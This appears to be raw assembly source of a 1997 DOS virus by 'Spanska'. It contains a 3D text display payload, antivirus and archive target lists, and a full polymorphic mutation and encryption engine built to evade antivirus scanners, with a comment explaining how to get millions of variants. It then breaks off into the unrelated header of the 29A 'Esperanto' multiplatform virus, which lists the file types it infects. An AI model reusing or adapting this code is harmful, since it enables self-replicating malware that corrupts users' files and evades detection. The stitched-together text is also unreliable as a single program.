;-----------all segments equal to cs-------------

push cs
push cs
pop ds
pop es

terrain:
;--------------------go to VGA mode 13h-------------------------------

mov ax, 13h


int 10h

;------------------set color 1 to black----------------------------

mov dx, 3c8h


xor al, al
out dx, al
inc dx
mov cx, 6
tout_noir:
out dx, al
loop tout_noir

;--------------write black message on screen-------------------------

; 1/ select one of the 3 messages randomly

xor dx, dx
lea si, [bp+msg_bombe+23]
push si
pop di
mov ax, 3
mov bx, 23*3
call mute_bloc

lea si, [bp+offset msg_bombe]


mov cx, 5
affiche_message:
cmp cx, 4 ;second line is empty
je pas_ligne_3

; 2/ put cursor to good coordinates

xor bh, bh
mov ah,02h
int 10h

; 3/ write one line

push cx
mov cx, 23
affiche_ligne:
lodsb
mov bl, 1
mov ah, 0Eh
int 10h
loop affiche_ligne
pop cx

pas_ligne_3:
add dh, 1
loop affiche_message

;--------------initialize segments-----------------------

mov ax, 0A000h


mov ds, ax

mov ax, cs
add ah, 32 ;data will be on a stock segment far
mov es, ax ;away from actual code
push es ;on stack (cf [@@] + bas)

;-------------creation of the table (x,z) NB: y constant--------------


;here ds=video es=stock

mov cx, (largeur*profondeur) ;255*40 coordinates


xor si, si ;start of video screen
xor di, di ;start of stock zone
xor dx, dx ;end line counter

table:
mov bl, cl ;X: 0<bl<255
mov al, 128 ;center it
sub al, bl ;-128<al<128
stosb ;stock X

inc dx ;now, COLOR


or dl, dl ;end of line?
jnz pas_fin_de_ligne ;yes if dl=0
add si, 319-largeur ;so => next video line
pas_fin_de_ligne: ;not end of line
movsb ;stock COLOR

mov ax, cx ;Z: 0<ax<40*255


xor al, al ;0<ah<40
xchg ah, al ;0<al<40
shl al, 1 ;0<al<80
shl al, 1 ;0<al<160
inc ax ;1<ax<161 to avoid div by 0
stosw ;stock Z

loop table

;-------------------animation of letters-----------------------------
;here ds=video, es=stock

push ds
pop es ;es=video now
pop ds ;ds to stock segment (cf [@@])
anime:

;***********************
mov dx,3dah ;*
VRT: ;*
in al,dx ;*
test al,8 ;*
jnz VRT ;* wait vertical retrace
;* to avoid flicking
NoVRT: ;*
in al,dx ;*
test al,8 ;*
jz NoVRT ;*
;***********************

mov cx, largeur*profondeur ;we will draw 255*40 points


xor si, si ;ds:si=coordinates stock
xor di, di ;es:di=video
dessine:
lodsw ;X and color in ax
xchg ax, bx ;now in bx
lodsw ;Z in ax
mov word ptr cs:[bp+offset z], ax ;Z into a temp buffer
cmp ax, (128+4*profondeur) ;point is too far?
jb ca_sort_pas ;no => OK
sub ax, 200 ;yes => put it at the front
ca_sort_pas:
inc ax ;increment distance
mov word ptr ds:[si-2], ax ;stock new Z

;----------calculate xx et yy (screen) from x, y, z (3D)-------------


;optimization using bl as X and color as bh

push cx ;save counter


xchg ah, bl ;get X in ah
xor bl, bl ;bl used to remember sign
cmp ah, 128 ;X positive?
jb suite5 ;yes => OK
neg ah ;no => let's positivize it
inc bl ;and we remember it was negative
suite5: ;NB: calculations in fixed point mode
xor al, al ;X is in ah, same order than Z
xor dx, dx ;dx will not fuck my div
div word ptr cs:[bp+offset z] ;div X by Z
push ax ;result is coordinate 2D (XX)
mov ah, 60 ;Y is backside, altitude 60 = ground
xor al, al ;Y is in ah, same order than Z
xor dx, dx ;i said dx will not fuck my div
div word ptr cs:[bp+offset z] ;div Y by Z
xchg cx, ax ;result is coordinate 2D (YY)

;-------calculate video offset of points from XX and YY--------------


;optimization using cx as YY and XX on stack
;color is in bh, sign in bl

pop dx ;get XX from stack


cmp cx, 170 ;too much at the bottom: no plot
ja pas_plot
cmp dx, 156 ;too much on sides: no plot
ja pas_plot

push dx ;XX loves the stack


mov ax, 320 ;screen width
mul cx ;multiply YY by width
pop dx ;XX from stack to dx
cmp bl, 1 ;X and XX negative?
jne pos
sub ax, dx ;yes => substract XX from ax
jmp suite4
pos:
add ax, dx ;non => add XX to ax

suite4:
add ax, (320*30)+160 ;add screen height

;--------calculate color of point (shade effect)------------------

mov di, ax ;ax is video offset of point


push ax ;on stack
or bh, bh ;black point?
je eteindre ;yes => bypass shading routine

mov word ptr bx, cs:[bp+offset z] ;128<bx<328


mov cl, 4 ;divide it by 16
shr bx, cl ;8<bx<20
mov al, 36 ;default B&W colors (31=white,16=black)
sub al, bl ;16<al<28
jmp pas_eteindre
eteindre:
xor al, al ;color black
pas_eteindre:

;--------calculate point size------------------

pop dx ;get point offset

cmp dx, 320*100 ;above line 100?


jb fond ;yes => little point (far)

cmp dx, 320*151 ;above line 153?


jb moyen ;yes => middle point

proche: ;other case => big point (near)


stosb
stosb
stosb
add di, 320-3 ;big = 2 lines of 3 pixels
stosb
stosb
stosb
jmp pas_plot

moyen:
stosb ;middle = 2 pixels
fond:
stosb ;little = 1 pixel

pas_plot:

pop cx ;get back counter


dec cx ;one more point
je suite9 ;end of screen?
jmp dessine ;no => next point
suite9:

jmp anime ;yes => next screen

;-----------memory zones used for graphic effect------------

msg_bombe db " ELVIRA ! "


db " Black and White Girl "
db " from Paris "
db "You make me feel alive."

db "Pars. Reviens. Respire."


db " Puis repars. "
db " J'aime ton mouvement. "

db " Bruja con ojos verdes "


db " Eres un grito de vida,"
db " un canto de libertad. "

z dw ?

;************ memory zones used by virus********************

win4octets db 90h, 90h, 90h, 90h


f_ext db 0EEh, 0EEh, 0EEh
f_attrib db 0AAh
f_name dd ?
f_time dw ?
f_date dw ?
f_handle dw ?
exehead db 1Ch dup(0aah)
av_liste db "TBVIAVNAVSFIF-FVIVDRSCGUCO"
zip_liste db "PKARRALHBA"
stealth_non db 0
file_win db "C:\WINDOWS\WIN.COM", 0
copyright db " (c) Spanska 97"

;****************************************************
;********** STUPID MUTATION ENGINE ******************
;****************************************************

poly_depuis_runtime:

push ax
push bx
push cx
push dx
push es
push ds
push bp
jmp overwrite

poly_depuis_resident:

push ax
push bx
push cx
push dx
push es
push ds
push bp

mov bp, offset start_virus ;adjust bp value to use from TSR


neg bp

;-----random mutation of decryptor instructions and replacement of code-----

overwrite:
lea si, [bp+_mutation0] ;stock of possible mutations
lea di, [bp+mutation0] ;offset of mutation in decryptor
mov ax, 12 ;number of possibilities
mov bx, 23 ;byte number of this mutation
call mute_bloc ;random select one possibility

lea si, [bp+_mutation1]


lea di, [bp+mutation1]
mov ax, 10
mov bx, 20
call mute_bloc

lea si, [bp+_mutation2]


lea di, [bp+mutation2]
mov ax, 10
mov bx, 5
call mute_bloc

lea si, [bp+_mutation3]


lea di, [bp+mutation3]
mov ax, 10
mov bx, 6
call mute_bloc

lea si, [bp+_mutation4]


lea di, [bp+mutation4]
mov ax, 8
mov bx, 5
call mute_bloc

lea si, [bp+_mutation5]


lea di, [bp+mutation5]
mov ax, 9
mov bx, 6
call mute_bloc

lea si, [bp+_mutation6]


lea di, [bp+mutation6]
mov ax, 8
mov bx, 10
call mute_bloc

lea si, [bp+_mutation7]


lea di, [bp+mutation7]
mov ax, 9
mov bx, 4
call mute_bloc

lea si, [bp+_mutation8]


lea di, [bp+mutation8]
mov ax, 7
mov bx, 10
call mute_bloc

lea si, [bp+_mutation9]


lea di, [bp+mutation9]
mov ax, 10
mov bx, 6
call mute_bloc

mov ax, 100


call aleatoire
cmp ax, 20 ;20% chances for a XOR encryption
ja evite_suite
jmp cryptage_xor
evite_suite:
cmp ax, 40 ;20% chances for a ADD/SUB encryption
jb cryptage_add
cmp ax, 55 ;15% chances for a ROL/ROR encryption
jb cryptage_rol
cmp ax, 70 ;15% chances for a INC/DEC encryption
jb cryptage_inc
cmp ax, 85 ;15% chances for a NOT encryption
jb cryptage_not
;15% chances for a NEG encryption

cryptage_neg:
mov byte ptr cs:[bp+type_cryptage], 5
lea si, [bp+_mutation10sixte]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_not:
mov byte ptr cs:[bp+type_cryptage], 4
lea si, [bp+_mutation10quinte]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_inc:
mov byte ptr cs:[bp+type_cryptage], 3
lea si, [bp+_mutation10quart]
lea di, [bp+mutation10]
mov ax, 5
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_rol:
mov byte ptr cs:[bp+type_cryptage], 2
lea si, [bp+_mutation10ter]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_add:
mov byte ptr cs:[bp+type_cryptage], 1
lea si, [bp+_mutation10bis]
lea di, [bp+mutation10]
mov ax, 5
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_xor:
mov byte ptr cs:[bp+type_cryptage], 0
lea si, [bp+_mutation10]
lea di, [bp+mutation10]
mov ax, 8
mov bx, 10
call mute_bloc
evite_autres_cryptages:
lea si, [bp+_mutation11]
lea di, [bp+mutation11]
mov ax, 6
mov bx, 12
call mute_bloc

lea si, [bp+_mutation12]


lea di, [bp+mutation12]
mov ax, 11
mov bx, 5
call mute_bloc

lea si, [bp+_mutation13]


lea di, [bp+mutation13]
mov ax, 9
mov bx, 6
call mute_bloc

lea si, [bp+_mutation14]


lea di, [bp+mutation14]
mov ax, 6
mov bx, 7
call mute_bloc

;---------------- new random encryption key from clock ---------------

mov ah, 2Ch


int 21h
mov cs:[bp+offset clef], dl

;------------- encrypt virus body in the heap -----------------------------

lea si, [bp+offset debut_cryptage]


lea di, [bp+offset heap]
mov cx, fin_cryptage - debut_cryptage

mov al, byte ptr cs:[bp+type_cryptage]


cmp al, 0
je xor_crypte
cmp al, 1
je sub_crypte
cmp al, 2
je ror_crypte
cmp al, 3
je dec_crypte
cmp al, 4
je not_crypte

neg_crypte:
lodsb
neg al
stosb
loop neg_crypte
jmp evite_autres_loops

not_crypte:
lodsb
not al
stosb
loop not_crypte
jmp evite_autres_loops
dec_crypte:
lodsb
dec al
stosb
loop dec_crypte
jmp evite_autres_loops

ror_crypte:
lodsb
ror al, 1
stosb
loop ror_crypte
jmp evite_autres_loops

sub_crypte:
lodsb
sub al, dl
stosb
loop sub_crypte
jmp evite_autres_loops

xor_crypte:
lodsb
xor al, dl
stosb
loop xor_crypte

evite_autres_loops:
mov al, dl
stosb

pop bp
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret

;----------pseudo-random number generator--------------


;in: ax = upper limit
;out: ax = random number between 0 et limit-1 included

aleatoire:
push bx
push dx ;i've made a little error in this routine,
push cx ;because i wanted to make slow poly with:
xchg ax, bx
mov ah, 2Ah ;get date: return dh=month dl=day
int 21h
xchg dx, ax ;i didn't thought that will restrict the
xor ax, 0FFFFh ;number of possible mutants to 365 (thanks
xor dx, dx ;to AVP to have shown me this error). Replace
div bx ;the "get date" (mov ah, 2Ah) by a "get time"
xchg ax, dx ;(mov ah, 2Ch) and you will have millions
pop cx ;of possible mutants.
pop dx
pop bx
ret

;------------change an entire block of instructions--------------


;in: si=stock zone, di=offset in decryptor
;ax=number of possibilities, bx=number of bytes

mute_bloc:
call aleatoire
mov cx, bx
mul bx
add si, ax
rep movsb
ret

;-------------possible mutations------------------------

;0/ get delta offset in 23 bytes

_mutation0:

mov di, sp
call $+4
;delta:
ret
dec di
dec di
db 36h, 81h, 2Dh, 34h, 1 ;sub ss:[di], offset delta
mov bp, ss:[di]
add word ptr ss:[di], offset mutation1
db 0EBh, 0EEh ;jmp delta

mov si, sp
call $+4
;delta:
ret
dec si
dec si
db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta
mov bp, ss:[si]
add word ptr ss:[si], offset mutation1
db 0EBh, 0EEh ;jmp delta

mov si, sp
call $+5
;delta:
int 20h
dec si
dec si
db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta
mov bp, ss:[si]
add word ptr ss:[si], offset mutation1
ret

nop
mov di, sp
sub di, 2
call $+3
;delta:
db 36h, 81h, 2Dh, 38h, 1 ;sub ss:[di], offset delta
mov bp, ss:[di]
add word ptr ss:[di], offset mutation1
ret

nop
nop
nop
nop
nop
call $+3
;delta:
mov bp, sp
mov ax, [bp]
db 83h, 46h, 0, 0Fh ;add word ptr [bp], mutation1-delta
db 2Dh, 37h, 1 ;sub ax, offset delta
mov bp, ax
ret

call $+4
nop
;delta:
mov ax, sp
xchg ax, bx
mov ax, ss:[bx]
inc ax
db 36h, 83h, 07, 14h ;add word ptr ss:[bx], mutation1-delta+1
db 2Dh, 33h, 1 ;sub ax, offset delta
mov bp, ax
ret
nop
nop

sub bx, bx
or bx, sp
dec bx
call $+3
;delta:
dec bx
db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1
ret

nop
call $+7
;delta:
mov cl, 2
db 0E2h, 0Fh ;loop mutation1
mov ax, 0FFFFh
and ax, sp
xchg ax, bx
mov ax, ss:[bx]
db 2Dh, 33h, 1 ;sub ax, offset delta
mov bp, ax
ret

mov ax, sp
dec ax
dec ax
xchg ax, bx
call $+3
;delta:
db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1
ret
nop

mov bx, sp
call $+3
;delta:
db 36h, 81h, 6Fh, 0FEh, 34h, 1 ;sub ss:[bx-2], offset delta
mov bp, ss:[bx-2]
add word ptr ss:[bx-2], offset mutation1
ret
int 3h

call $+3
;delta:
mov bx, sp
mov ax, ss:[bx]
db 05, 14h, 0 ;add ax, mutation1-delta
db 36h, 81h, 2Fh, 32h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
mov ss:[bx], ax
ret

db 0B8h, 38h, 1 ;mov ax, offset delta


db 0B9h, 0Eh, 0 ;mov cx, offset mutation1-delta
call $+3
;delta:
mov bx, sp
mov dx, ss:[bx]
sub dx, ax
mov bp, dx
add ss:[bx], cx
ret
clc

;1/ push es, ds then put es=ds=cs in 20 bytes

_mutation1:

push es
push ds
push cs
push cs
pop es
pop ds
db 10 dup (90h)
clc
db 2 dup (90h)
clc

db 9 dup (90h)
push es
nop
push ds
nop
push cs
nop
pop es
nop
push cs
nop
pop ds

mov ax, es
push ax
mov ax, ds
push ax
mov ax, cs
push ax
push ax
pop bx
pop bx
mov es, bx
mov ds, bx
db 4 dup (90h)

nop
mov bx, es
push bx
mov cx, ds
push cx
mov dx, cs
mov es, dx
mov ds, dx
nop
xor ax, 0
db 3 dup (90h)

nop
nop
mov ax, es
nop
mov bx, ds
nop
mov cx, cs
nop
push cx
nop
push cx
nop
pop ds
nop
pop es
push ax
push bx

xor dx, dx
mov cx, es
or dx, cx
push dx
xor cx, cx
mov dx, ds
or cx, dx
push cx
mov cx, cs
push cx
pop es
mov ds, cx

mov ax, 0FFFFh


mov bx, es
and ax, bx
push ax
mov dx, ds
push dx
push bp
mov bp, cs
mov ds, bp
mov es, bp
pop bp
nop
sub sp, 2
mov bx, sp
mov ss:[bx], es
mov ax, ds
mov bx, cs
push bx
pop es
mov ds, bx
push ax
db 3 dup (90h)

dec sp
dec sp
mov bx, sp
mov ss:[bx], es
dec sp
dec sp
mov bx, sp
mov ss:[bx], ds
mov ax, cs
mov es, ax
mov ds, ax

nop
sub sp, 4
mov di, sp
mov ss:[di], ds
mov ss:[di+2], es
push cs
mov si, sp
mov es, ss:[si]
pop ds

;2/ JMP 12Bh in 5 bytes

_mutation2:

db 90h ;nop
db 33h, 0C0h ;xor ax, ax
db 74h, 0Bh ;je decrypte

db 33h, 0C9h ;xor cx, cx


db 41h ;inc cx
db 75h, 0Bh ;jne decrypte

db 90h ;nop
db 0EBh, 0Dh ;jmp decrypte
db 90h ;nop
clc

db 90h ;nop
db 34h, 0FFh ;xor al, 0FFh
db 75h, 0Bh ;jne decrypte

db 32h, 0DBh ;xor bl, bl


db 76h, 0Ch ;jbe decrypte
db 90h ;nop

db 0B9h, 02h, 0 ;mov cx, 2


db 0E2h, 0Bh ;loop decrypte
db 41h ;inc cx
db 41h ;inc cx
db 0E2h, 0Ch ;loop decrypte
db 90h ;nop

db 0E9h, 0Dh, 0 ;jmp near decrypte


push ax
pop ax

db 90h ;nop
db 90h ;nop
db 0E9h, 0Bh, 0 ;jmp near decrypte

db 0F6h,0C5h,01 ;test ch, 1


db 74h, 0Bh ;jz decrypte

;3/ STOSB in 6 bytes (without di, si, cx, dl)

_mutation3:

stosb
nop
nop
nop
nop
clc

nop
nop
nop
nop
nop
stosb

mov es:[di], al
xchg ax, di
inc ax
xchg ax, di

xchg ax, dx
mov ds:[di], dl
inc di
xchg ax, dx
nop

inc di
mov es:[di-1],al
nop

mov byte ptr [di], 0


or [di], al
inc di

xchg byte ptr [di], al


add di, 2
dec di

mov byte ptr [di], 0


add byte ptr [di], al
inc di

add di, 1
xchg byte ptr [di-1], al;3
mov byte ptr [di], 0FFh
and byte ptr [di], al
inc di

;4/ RET in 5 bytes (without di, si, cx, dl)

_mutation4:

ret
nop
nop
nop
clc

nop
nop
nop
nop
ret

pop ax
jmp ax
nop
nop

nop
pop bx
jmp bx
nop

xchg ax, cx
pop cx
xchg ax, cx
jmp ax

xchg ax, dx
pop dx
xchg ax, dx
jmp ax

pop ax
pushf
push cs
push ax
iret

pop bx
pushf
push cs
push bx
iret

;5/ mov cx, fin_cryptage-debut_cryptage in 6 bytes

_mutation5:

mov cx, fin_cryptage-debut_cryptage


nop
nop
nop

nop
nop
nop
mov cx, fin_cryptage-debut_cryptage

mov ax, fin_cryptage - debut_cryptage+1


dec ax
push ax
pop cx

mov bx, fin_cryptage-debut_cryptage


push bx
pop cx
nop

nop
mov dx, fin_cryptage-debut_cryptage
xchg cx, dx

mov ax, fin_cryptage-debut_cryptage-1


inc ax
mov cx, ax

xor cx, cx
add cx, fin_cryptage-debut_cryptage

xor ax, ax
add ax, fin_cryptage-debut_cryptage
xchg ax, cx

mov cx, debut_cryptage-fin_cryptage


neg cx
nop

;6/ lea si, debut_cryptage in 10 bytes (without CX)

_mutation6:

lea si, [bp+offset debut_cryptage+5]


sub si, 5
nop
nop
nop

nop
nop
nop
nop
nop
nop
lea si, [bp+offset debut_cryptage]

mov ax, bp
add ax, offset debut_cryptage+9
mov si, ax
sub si, 9

sub bx, bx
xor bx, offset debut_cryptage
add bx, bp
xchg si, bx

xor dx, dx
add dx, bp
add dx, offset debut_cryptage
mov si, dx

mov bx, bp
mov ax, offset debut_cryptage+1
add ax, bx
mov si, ax
dec si

push bp
pop ax
add ax, offset debut_cryptage-1
inc ax
mov bx, ax
mov si, bx

mov dx, offset debut_cryptage


neg dx
push bp
pop si
sub si, dx
nop

;7/ mov di, si in 4 bytes (without CX, SI)

_mutation7:

mov di, si
nop
nop

nop
nop
mov di, si

nop
push si
pop di
nop

push si
pop dx
xchg dx, di

xchg si, di
mov si, di

push si
pop ax
xchg ax, di
nop

sub di, di
xor di, si

mov ax, si
mov di, ax

xchg si, ax
xchg ax, di
mov si, di

;8/ mov dl, cs:[bp+offset clef] in 10 bytes (without CX, SI, DI)
_mutation8:

mov dl, cs:[bp+offset clef]


nop
nop
nop
nop
nop

nop
nop
nop
nop
nop
mov dl, ds:[bp+offset clef]

lea bx, [bp+offset clef+5]


sub bx, 5
mov dl, [bx]
nop

mov ax, bp
add ax, offset clef-2
inc ax
inc ax
xchg ax, bx
mov dl, [bx]

sub bx, bx
xor bx, offset clef
add bx, bp
mov dl, [bx]

mov bx, bp
add bx, offset clef
mov dh, [bx]
xchg dh, dl

mov bx, bp
mov ax, offset clef+1
add bx, ax
mov dl, [bx-1]

;9/ LODSB in 6 bytes (without CX, SI, DI, DL)

_mutation9:

lodsb
nop
nop
nop
nop
nop

nop
nop
nop
nop
nop
lodsb

mov al, es:[si]


xchg ax, si
inc ax
xchg ax, si

mov bx, si
mov al, [bx]
inc si
nop

inc si
mov al, es:[si-1]
nop

mov ax, 0
or al, [si]
inc si

xchg byte ptr [si], al


add si, 2
dec si

xor ax, ax
add al, byte ptr [si]
inc si
nop

add si, 1
xchg byte ptr [si-1], al

mov ax, 0FFFFh


and al, byte ptr [di]
inc si

;10/ XOR AL, DL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10:

xor al, dl
db 2 dup (90h)
xchg cx, bx
xchg cx, bx
nop
clc

db 8 dup (90h)
xor al, dl

xchg ax, bx
xor bl, dl
xchg ax, bx
db 5 dup (90h)
stc

db 2 dup (90h)
xor ax, dx
db 6 dup (90h)

clc
db 5 dup (90h)
xor ax, dx
db 2 dup (90h)

stc
db 2 dup (90h)
mov bx, dx
xor ax, bx
db 3 dup (90h)

lea bx, [bp+offset temp]


mov [bx], dl
xor [bx], al
mov al, [bx]

lea bx, [bp+offset temp]


xchg [bx], al
xor [bx], dl
xchg al, [bx]

;10bis/ add AL, DL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10bis:

db 3 dup (90h)
add al, dl
db 5 dup (90h)

db 4 dup (90h)
xchg al, dl
add dl, al
xchg al, dl

mov ah, al
mov dh, dl
db 2 dup (90h)
add ah, dh
xchg ah, al

neg dl
sub al, dl
neg dl
db 4 dup (90h)

db 2 dup (90h)
neg dx
nop
sub al, dl
nop
neg dx

;10ter/ rol AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10ter:

db 3 dup (90h)
rol al, 1
db 5 dup (90h)

db 7 dup (90h)
rol al, 1
nop

lea bx, [bp+offset temp]


xchg [bx], al
rol byte ptr [bx], 1
xchg al, [bx]
jmp baise_les4
neg al
inc al
not al
baise_les4:
rol al, 1

;10quart/ inc AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10quart:

db 4 dup (90h)
inc al
db 4 dup (90h)

db 8 dup (90h)
add al, 1

inc ax
db 9 dup (90h)

lea bx, [bp+offset temp]


xchg [bx], al
inc byte ptr [bx]
xchg al, [bx]

jmp baise_les
xor al, dl
add al, dl
rol al, 1
baise_les:
inc al

;10quinte/ not AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10quinte:

db 4 dup (90h)
not al
db 4 dup (90h)

db 4 dup (90h)
xchg al, dh
not dh
xchg al, dh

lea bx, [bp+offset temp]


xchg [bx], al
not byte ptr [bx]
xchg al, [bx]

jmp baise_les2
xor al, dl
add al, dl
inc al
baise_les2:
not al

;10sixte/ neg AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10sixte:

db 3 dup (90h)
neg al
db 5 dup (90h)

db 3 dup (90h)
mov dh, al
neg dh
mov al, dh
nop

lea bx, [bp+offset temp]


xchg [bx], al
neg byte ptr [bx]
xchg al, [bx]

jmp baise_les3
not al
xor al, dl
inc al
baise_les3:
neg al

;11/ CALL in 12 bytes (without CX, SI, DI, DL, AL)

_mutation11:

db 0E8h, 0C4h, 0FFh ;call baise_flag_cryptage


db 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h
stc

lea bx, [bp+offset mutation11+12]


push bx
db 0EBh, 0C0h ;jmp baise_flag_cryptage
db 90h, 90h, 90h, 90h
clc

db 8Bh, 0DDh ;mov bx, bp


add bx, offset mutation11
db 83h, 0C3h, 0Ch ;add bx, 12
db 53h ;push bx
db 0EBh, 0BBh ;jmp baise_flag_cryptage

db 51h ;push cx
lea bx, [bp+offset mutation11+10]
db 53h ;push bx
db 0B1h, 02h ;mov cl, 2
db 0E2h, 0BDh ;loop baise_flag_cryptage
db 59h ;pop cx
nop

lea bx, [bp+offset mutation11+12]


db 53h ;push bx
db 32h, 0DBh ;xor bl, bl
db 76h, 0BEh ;jbe baise_flag_cryptage
nop
nop
nop

mov bx, offset mutation11+10


db 43h ;inc bx
db 03h, 0DDh ;add bx, bp
db 43h ;inc bx
db 53h ;push bx
db 32h, 0DBh ;xor bl, bl
db 74h, 0BBh ;je baise_flag_cryptage

;12/ DEC CX in 5 bytes (without CX, SI, DI, DL, AL)

_mutation12:

nop
nop
dec cx
nop
nop

nop
nop
sub cx, 1

inc cx
sub cx, 2
nop

neg cx
inc cx
neg cx

xchg cx, bx
dec bx
xchg cx, bx

nop
nop
xchg cx, ax
dec ax
xchg cx, ax

xchg cx, di
dec di
xchg cx, di

xor bl, bl
sbb cx, 1

db 81h, 0C1h, 0FFh, 0FFh


nop
db 90h, 90h
db 83h, 0C1h, 0FFh

mov bx, 1
sub cx, bx

;13/ CMP CX, 0 in 6 bytes

_mutation13:

cmp cx, 0
nop
nop
nop

nop
nop
nop
cmp cx, 0
nop
or cx, cx
nop
nop
nop

nop
nop
nop
or cx, cx
nop

test cx, 0FFFFh


nop
nop

or cl, cl
jne suite_or
or ch, ch
suite_or:

mov bx, cx
inc bx
cmp bx, 1

inc cx
cmp cx, 1
dec cx
nop

dec cx
cmp cx, 0FFFFh
inc cx
nop

;14/ JNE XOR_LOOP in 7 bytes

_mutation14:

db 90h, 90h, 90h


db 90h, 90h
db 75h, 0D2h ;jne xor_loop

db 90h, 90h, 90h ;3 nop


db 75h, 0D4h ;jne xor_loop
db 90h ;nop
clc

db 90h, 90h ;2 nop


db 74h, 03 ;je suite_zob
db 0EBh, 0D3h ;jmp xor_loop
stc
;suite_zob:

db 77h, 0D7h ;ja xor_loop


db 90h, 90h, 90h ;3 nop
db 90h, 90h ;2 nop

db 76h, 05h ;jna suite_zobi ;2


db 0EBh, 0D5h ;jmp xor_loop
db 90h, 90h, 90h ;3 nop
;suite_zobi:
db 9Ch ;pushf
db 5Bh ;pop bx
db 0F6h, 0C3h, 40h ;test bl, 01000000b
db 74h, 0D2h ;je xor_loop

;-----------memory zones used by mutation engine---------------

temp db 0
type_cryptage db 0

fin_cryptage:
clef db 0
endvirus:
heap:

code ends
end start

;----------------- (c) Spanska 1997 ---------------------------


;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ³ /\/\/\/\/ Esperanto \/\/\/\/\ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ written by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ A MULTIPROCESSOR and MULTIPLATFORM virus ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; 0. Introduction
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Welcome to Esperanto, world's first multiprocessor and multiplatform virus
; ever, which is (pretty obviously) my best virus so far. It took me several
; months to write it, assemble the whole thing, and put it together into one
; only file, id est, the virus binary. In every moment i tried to write such
; a clear, modulized, easily understandable code to the detriment of optimi-
; zation. However i'm conscious it's necessary to write a previous deep ana-
; lysis so everybody may clearly understand the 100% of its functioning.
;
;
; 1. Processors/platforms/objects
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Esperanto is able to run in three different kinds of processors, which are
; Intel 80x86 (used in common PCs), Motorola 680x0 (used in old Apple Macin-
; tosh computers and in new Macintosh Performa) and PowerPC 6xx (used in new
; Power Macintosh and PowerBook computers).
;
; Inside each of these processors it is able to work in several different
; platforms, thus, in Intel 80x86 processors it will run under DOS, Windows
; 3.1x, Windows95, WindowsNT and Win32s, and in Motorola and PowerPC it will
; run under any version of Mac OS (since early 6.x up to the recently relea-
; sed Mac OS 8, which has been fully tested under); albeit Amiga computers
; use also Motorola processors, Esperanto will not be able to work in them.
;
; And now finally, depending on the platform Esperanto is being executed in,
; it will infect several different objects; when running in DOS and Windows
; 3.1x it will infect: COM, EXE, NewEXE, and PE files. Under Windows95, Win-
; dowsNT and Win32s (Win32 from now onwards) it will infect COM, EXE, and PE
; files. Finally, when run under Mac OS, it will infect Mac OS applications,
; including extensions, control panels, the System File, the Mac OS Finder,
; the DA Handler, and, if available, the Desktop File (only in Mac OS <7).
;
; The following diagram is pretty useful to understand the above:
;
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄDLE DOS ÄÄÄÄÄÄDLE COM, EXE, NewEXE, PE
; ÚÄÄÄÄÄÄÄÄÄDLE³ Intel 80x86 ÃÄÄÄÅÄDLE Win 3.1x ÄDLE COM, EXE, NewEXE, PE
; ³ ³ (PCs) ³ ÀÄDLE Win32 ÄÄÄÄDLE COM, EXE, PE
; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ÚÄÄÄÄÄÁÄÄÄÄÄ¿ ³ Motorola 680x0 ³
; ³ Esperanto ÃÄÄDLE³ (Old Macs) ÃÄ¿ ÚÄDLE Mac OS Apps
; ÀÄÄÄÄÄÂÄÄÄÄÄ- ³ (Mac Performa) ³ ³ ÃÄDLE System File
; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- ÃÄDLE Mac OS ÄÄÅÄDLE Mac OS Finder
; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÃÄDLE DA Handler
; ³ ³ PowerPC 6xx ³ ³ ÀÄDLE Desktop File
; ÀÄÄÄÄÄÄÄÄÄDLE³ (Power Macs) ÃÄÄ- (Mac OS <7)
; ³ (PowerBooks) ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
;
; 2.0. Internal structure
